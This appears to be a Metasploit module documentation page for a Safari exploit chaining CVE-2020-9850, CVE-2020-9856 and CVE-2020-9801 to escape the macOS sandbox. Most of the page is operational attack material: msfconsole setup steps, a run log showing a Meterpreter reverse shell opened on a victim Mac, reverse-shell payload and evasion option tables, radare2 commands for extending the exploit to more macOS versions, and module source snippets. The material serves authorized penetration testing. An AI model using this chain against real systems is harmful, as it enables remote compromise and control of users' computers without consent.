Safari in Operator Side Effect Exploit - Metasploit


This page contains detailed information about how to use the exploit/osx/browser/safari_in_operator_side_effect metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Safari in Operator Side Effect Exploit
Module: exploit/osx/browser/safari_in_operator_side_effect
Source code: modules/exploits/osx/browser/safari_in_operator_side_effect.rb
Disclosure date: 2020-03-18
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-9801, CVE-2020-9850, CVE-2020-9856

This module exploits an incorrect side-effect modeling of the 'in' operator. The DFG compiler assumes that the 'in' operator is side-effect free, however the <embed> element with the PDF plugin provides a callback that can trigger side-effects leading to type confusion (CVE-2020-9850). The type confusion can be used as addrof and fakeobj primitives that then lead to arbitrary read/write of memory. These primitives allow us to write shellcode into a JIT region (RWX memory) containing the next stage of the exploit. The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server, and extracts a macOS application containing our payload into /var/db/CVMS. The payload can then be opened with CVE-2020-9801, executing the payload as a user but without sandbox restrictions.

Module Ranking and Traits


Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Basic Usage


msf > use exploit/osx/browser/safari_in_operator_side_effect
msf exploit(safari_in_operator_side_effect) > exploit

Knowledge Base


Vulnerable Application


This module exploits an incorrect side-effect modeling of the 'in' operator. The DFG compiler assumes that the 'in' operator is side-effect free, however the <embed> element with the PDF plugin provides a callback that can trigger side-effects leading to type confusion (CVE-2020-9850).

The type confusion can be used as addrof and fakeobj primitives that then lead to arbitrary read/write of memory. These primitives allow us to write shellcode into a JIT region (RWX memory) containing the next stage of the exploit.

The next stage uses CVE-2020-9856 to exploit a heap overflow in CVM Server, and extracts a macOS application containing our payload into /var/db/CVMS. The payload can then be opened with CVE-2020-9801, executing the payload as a user but without sandbox restrictions.

Verification Steps


  1. Start msfconsole
  2. use exploit/osx/browser/safari_in_operator_side_effect
  3. set LHOST <tab>
  4. set SRVHOST <tab>
  5. exploit
  6. Visit the URL on a vulnerable version of Safari

Scenarios


macOS Catalina 10.15.4

msf6 > use exploit/osx/browser/safari_in_operator_side_effect
[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set LHOST 192.168.56.1
LHOST => 192.168.56.1
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(osx/browser/safari_in_operator_side_effect) > set URIPATH /
URIPATH => /
msf6 exploit(osx/browser/safari_in_operator_side_effect) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(osx/browser/safari_in_operator_side_effect) >
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Using URL: http://192.168.56.1:8080/
[*] Server started.
[*] 192.168.56.4     safari_in_operator_side_effect - Request / from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
[+] 192.168.56.4     safari_in_operator_side_effect - Safari version 13.1 appears to be vulnerable
[*] 192.168.56.4     safari_in_operator_side_effect - Request /LmcM.pdf from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
[*] Transmitting first stager...(210 bytes)
[*] Transmitting second stager...(8192 bytes)
[*] Sending stage (799916 bytes) to 192.168.56.4
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.4:49409) at 2020-09-04 15:05:52 +0800

Adding offsets for new versions

Although all macOS versions below 10.15.4 are vulnerable, some versions are not supported. It may be possible to add support for a vulnerable version by adding new offsets. The following commands can be used to gather some of these offsets:

brew install radare2
r2 /System/Library/Frameworks/JavaScriptCore.framework/Versions/Current/JavaScriptCore -2qQ -c 'af; s sym.imp.confstr; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym._confstr; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym.imp.dlsym; s'
r2 /usr/lib/system/libsystem_c.dylib -2qQ -c 'af; s sym.imp.dlopen; s'

You can then add the offsets to the module: modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb

You may also need to adjust the offsets here:

external/source/exploits/CVE-2020-9850/payload/sbx/safari.mm:53

Please don't forget to contribute the offsets back to the framework if you have successfully tested them.

Go back to menu.

Msfconsole Usage


Here is how the osx/browser/safari_in_operator_side_effect exploit module looks in the msfconsole:

msf6 > use exploit/osx/browser/safari_in_operator_side_effect

[*] Using configured payload osx/x64/meterpreter/reverse_tcp
msf6 exploit(osx/browser/safari_in_operator_side_effect) > show info

       Name: Safari in Operator Side Effect Exploit
     Module: exploit/osx/browser/safari_in_operator_side_effect
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2020-03-18

Provided by:
  Yonghwi Jin <[email protected]>
  Jungwon Lim <[email protected]>
  Insu Yun <[email protected]>
  Taesoo Kim <[email protected]>
  timwr

Available targets:
  Id  Name
  --  ----
  0   Mac OS X x64 (Native Payload)
  1   Python payload
  2   Command payload

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This module exploits an incorrect side-effect modeling of the 'in' 
  operator. The DFG compiler assumes that the 'in' operator is 
  side-effect free, however the <embed> element with the PDF plugin 
  provides a callback that can trigger side-effects leading to type 
  confusion (CVE-2020-9850). The type confusion can be used as addrof 
  and fakeobj primitives that then lead to arbitrary read/write of 
  memory. These primitives allow us to write shellcode into a JIT 
  region (RWX memory) containing the next stage of the exploit. The 
  next stage uses CVE-2020-9856 to exploit a heap overflow in CVM 
  Server, and extracts a macOS application containing our payload into 
  /var/db/CVMS. The payload can then be opened with CVE-2020-9801, 
  executing the payload as a user but without sandbox restrictions.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-9801
  https://nvd.nist.gov/vuln/detail/CVE-2020-9850
  https://nvd.nist.gov/vuln/detail/CVE-2020-9856
  https://github.com/sslab-gatech/pwn2own2020

Module Options


This is a complete list of options available in the osx/browser/safari_in_operator_side_effect exploit:

msf6 exploit(osx/browser/safari_in_operator_side_effect) > show options

Module options (exploit/osx/browser/safari_in_operator_side_effect):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (osx/x64/meterpreter/reverse_tcp):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   LHOST                                   yes       The listen address (an interface may be specified)
   LPORT                  4444             yes       The listen port
   MeterpreterDebugLevel  0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)

Exploit target:

   Id  Name
   --  ----
   0   Mac OS X x64 (Native Payload)

Advanced Options


Here is a complete list of advanced options supported by the osx/browser/safari_in_operator_side_effect exploit:

msf6 exploit(osx/browser/safari_in_operator_side_effect) > show advanced

Module advanced options (exploit/osx/browser/safari_in_operator_side_effect):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DEBUG_EXPLOIT           false            no        Show debug information in the exploit javascript
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (osx/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the osx/browser/safari_in_operator_side_effect module can exploit:

msf6 exploit(osx/browser/safari_in_operator_side_effect) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Mac OS X x64 (Native Payload)
   1   Python payload
   2   Command payload

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the osx/browser/safari_in_operator_side_effect exploit:

msf6 exploit(osx/browser/safari_in_operator_side_effect) > show payloads

Compatible Payloads
===================

   #   Name                                           Disclosure Date  Rank    Check  Description
   -   ----                                           ---------------  ----    -----  -----------
   0   payload/generic/custom                                          normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                  normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                               normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/osx/x64/dupandexecve/bind_tcp                           normal  No     OS X dup2 Command Shell, Bind TCP Stager
   4   payload/osx/x64/dupandexecve/reverse_tcp                        normal  No     OS X dup2 Command Shell, Reverse TCP Stager
   5   payload/osx/x64/dupandexecve/reverse_tcp_uuid                   normal  No     OS X dup2 Command Shell, Reverse TCP Stager with UUID Support (OSX x64)
   6   payload/osx/x64/exec                                            normal  No     OS X x64 Execute Command
   7   payload/osx/x64/meterpreter/bind_tcp                            normal  No     OSX Meterpreter, Bind TCP Stager
   8   payload/osx/x64/meterpreter/reverse_tcp                         normal  No     OSX Meterpreter, Reverse TCP Stager
   9   payload/osx/x64/meterpreter/reverse_tcp_uuid                    normal  No     OSX Meterpreter, Reverse TCP Stager with UUID Support (OSX x64)
   10  payload/osx/x64/meterpreter_reverse_http                        normal  No     OSX Meterpreter, Reverse HTTP Inline
   11  payload/osx/x64/meterpreter_reverse_https                       normal  No     OSX Meterpreter, Reverse HTTPS Inline
   12  payload/osx/x64/meterpreter_reverse_tcp                         normal  No     OSX Meterpreter, Reverse TCP Inline
   13  payload/osx/x64/say                                             normal  No     OS X x64 say Shellcode
   14  payload/osx/x64/shell_bind_tcp                                  normal  No     OS X x64 Shell Bind TCP
   15  payload/osx/x64/shell_reverse_tcp                               normal  No     OS X x64 Shell Reverse TCP

Evasion Options


Here is the full list of possible evasion options supported by the osx/browser/safari_in_operator_side_effect exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(osx/browser/safari_in_operator_side_effect) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Safari version <REGEXP.LAST_MATCH-1> is not vulnerable


Here is a relevant code snippet related to the "Safari version <REGEXP.LAST_MATCH-1> is not vulnerable" error message:

439:	  def get_offsets(user_agent)
440:	    if user_agent =~ /Intel Mac OS X (.*?)\)/
441:	      osx_version = Regexp.last_match(1).gsub('_', '.')
442:	      if user_agent =~ %r{Version/(.*?) }
443:	        if Rex::Version.new(Regexp.last_match(1)) > Rex::Version.new('13.1')
444:	          print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"
445:	          return false
446:	        else
447:	          print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
448:	        end
449:	      end

macOS version <MAC_OSX_VERSION> is not vulnerable


Here is a relevant code snippet related to the "macOS version <MAC_OSX_VERSION> is not vulnerable" error message:

447:	          print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
448:	        end
449:	      end
450:	      mac_osx_version = Rex::Version.new(osx_version)
451:	      if mac_osx_version >= Rex::Version.new('10.15.5')
452:	        print_warning "macOS version #{mac_osx_version} is not vulnerable"
453:	      elsif mac_osx_version < Rex::Version.new('10.14')
454:	        print_warning "macOS version #{mac_osx_version} is not supported"
455:	      elsif offset_table.key?(osx_version)
456:	        return offset_table[osx_version]
457:	      else

macOS version <MAC_OSX_VERSION> is not supported


Here is a relevant code snippet related to the "macOS version <MAC_OSX_VERSION> is not supported" error message:

449:	      end
450:	      mac_osx_version = Rex::Version.new(osx_version)
451:	      if mac_osx_version >= Rex::Version.new('10.15.5')
452:	        print_warning "macOS version #{mac_osx_version} is not vulnerable"
453:	      elsif mac_osx_version < Rex::Version.new('10.14')
454:	        print_warning "macOS version #{mac_osx_version} is not supported"
455:	      elsif offset_table.key?(osx_version)
456:	        return offset_table[osx_version]
457:	      else
458:	        print_warning "No offsets for version #{mac_osx_version}"
459:	      end

No offsets for version <MAC_OSX_VERSION>


Here is a relevant code snippet related to the "No offsets for version <MAC_OSX_VERSION>" error message:

453:	      elsif mac_osx_version < Rex::Version.new('10.14')
454:	        print_warning "macOS version #{mac_osx_version} is not supported"
455:	      elsif offset_table.key?(osx_version)
456:	        return offset_table[osx_version]
457:	      else
458:	        print_warning "No offsets for version #{mac_osx_version}"
459:	      end
460:	    else
461:	      print_warning 'Unexpected User-Agent'
462:	    end
463:	    return false

Unexpected User-Agent


Here is a relevant code snippet related to the "Unexpected User-Agent" error message:

456:	        return offset_table[osx_version]
457:	      else
458:	        print_warning "No offsets for version #{mac_osx_version}"
459:	      end
460:	    else
461:	      print_warning 'Unexpected User-Agent'
462:	    end
463:	    return false
464:	  end
465:	
466:	  def on_request_uri(cli, request)

Payload size (<ROOT_PAYLOAD.LENGTH>) exceeds space in payload placeholder


Here is a relevant code snippet related to the "Payload size (<ROOT_PAYLOAD.LENGTH>) exceeds space in payload placeholder" error message:

501:	      root_payload = "CMD:echo \"#{payload.encoded}\" | python"
502:	    when ARCH_CMD
503:	      root_payload = "CMD:#{payload.encoded}"
504:	    end
505:	    if root_payload.length > 1024
506:	      fail_with Failure::PayloadFailed, "Payload size (#{root_payload.length}) exceeds space in payload placeholder"
507:	    end
508:	    placeholder_index = stage2.index('ROOT_PAYLOAD_PLACEHOLDER')
509:	    stage2[placeholder_index, root_payload.length] = root_payload
510:	    payload_js = <<~JS
511:	      const stage0 = [

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Yonghwi Jin <jinmoteam[at]gmail.com>
  • Jungwon Lim <setuid0[at]protonmail.com>
  • Insu Yun <insu[at]gatech.edu>
  • Taesoo Kim <taesoo[at]gatech.edu>
  • timwr

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.